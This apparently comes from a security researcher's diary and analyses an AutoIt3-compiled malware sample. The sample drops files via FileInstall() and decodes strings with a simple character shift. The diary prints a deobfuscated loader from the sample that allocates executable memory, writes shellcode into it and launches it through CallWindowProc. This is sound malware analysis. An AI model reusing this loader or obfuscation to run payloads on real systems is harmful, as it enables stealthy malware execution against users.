AutoIT3 Compiled Scripts Dropping Shellcodes

AutoIT3[1] is a powerful language that helps to built nice applications for Windows environments, mainly to automate tasks. If it looks pretty old, the latest version was released last September and it remains popular amongst developers, for the good… or the bad! Malware written in AutoIt3 has existed since the late 2000s, when attackers realized that the language was easy to learn (close to basic) but can also compiled into standalone PE files! From a malware point of view, such executables make an extended use of packed data, making them more stealthy.

If it became less popular, AutoIT3 is still used by some attackers. I found a sample yesterday that (ab)use a nice feature of the language. The sample was delivered in a ZIP archive, containing a PE fille: ENQ-2548871-PO-AYPC-352-25-UN-01162.exe (SHA256:1e75512b85b8ad27966ea850b69290bc18cc010bcb4f0e1ef119b82c99ca96c0). The file has a VT score of 33/72[2].

The technique used by the threat actor relies on the function FileInstall()[3]. Its purpose is to to include a file into an executed script but… the behavior is subtle and depends on how the script is run. The script call this code:


FileInstall ( "inhumation" , @TempDir & "\inhumation" , 1 )

How does it work?

If the script is parsed, the source file must exist all the time.

If the script is compiled, the file must exist at compile time only! (It is embedded into the PE file)

When the payload was executed, indeed, it created the file ‘inhumation’ in %TEMP%!

Clasically, the remaining code is obfuscated. The magic is perfomed with a simple function LGYJSYH():


Func LGYJSYH ( $LVRVBGKY )
    Local $PYYTLPGF = ""
    For $WVILGLOS = 1 To StringLen ( $LVRVBGKY )
        Local $NCMTXMB = Asc ( StringMid ( $LVRVBGKY , $WVILGLOS , 1 ) )
        $PYYTLPGF &= Chr ( $NCMTXMB - ( 1 ^ $WVILGLOS ) )
    Next
    Return $PYYTLPGF
EndFunc

The purpose is very simple: it parses a string, and for every character, if converts it with the previous one in the ASCII table (-1). Don’t be fooled, the “^” does not reveal some XOR manipulation. In AutoIT, “^” is exponentiation!

In Python, we should have something like this:


def LGYJSYH(s):
    return "".join(chr(ord(c) - 1) for c in s)

Example:


>>> def OZTTVUH(s):
...     return "".join(chr(ord(c) - 1) for c in s)
...
>>> OZTTVUH("lfsofm43")
'kernel32'

Two files are loaded via FileInstall() and one of them is an obfuscated shellcode.

Here is the technique used by the sample to load and execute it:

(The code has been deobfuscated for easier reading)


; Unpack the shellcode on disk
FileInstall ( "buncal" , @TempDir & "\buncal" , 1 )

; Read the shellcode file content
$FMMKSJE = Execute ( "lgyjsyh(FileRead(@TempDir “”\buncal"))" )

; Get the shellcode length
$IXWCTFHCT = BinaryLen ( $FMMKSJE )

; Allocate executable memorty (0x40) to contain the shellcode
$PUJFJJN = DllCall ( “kernel32” , “ptr”, “VirtualAlloc”, “dword" , “0” , “dword”, $IXWCTFHCT, “dword”, “0x3000”, “dword”, “0x40”))[0]

; Prepate the allocated memory as a DLL structure
$QMDAZCZGFO = DllStructCreate ( “byte [“ & $IXWCTFHCT & “]” ) , $PUJFJJN )

; Loads the shellcode in memory
DllStructSetData ( $QMDAZCZGFO , 1 , $FMMKSJE )

; Launch the shellcode!
DllCall ( “user32.dll” , “ptr”, “CallWindowProc”, “ptr”, $PUJFJJN + 9296 , “ptr”, 0 , “ptr”,, 0 , “ptr”, 0 , “ptr”, 0 )

I already covered the use of CallWindowProc() to load a shell code in a previous diary[4]

There is ongoing wave of such samples. I already spotted two samples that use the same technique: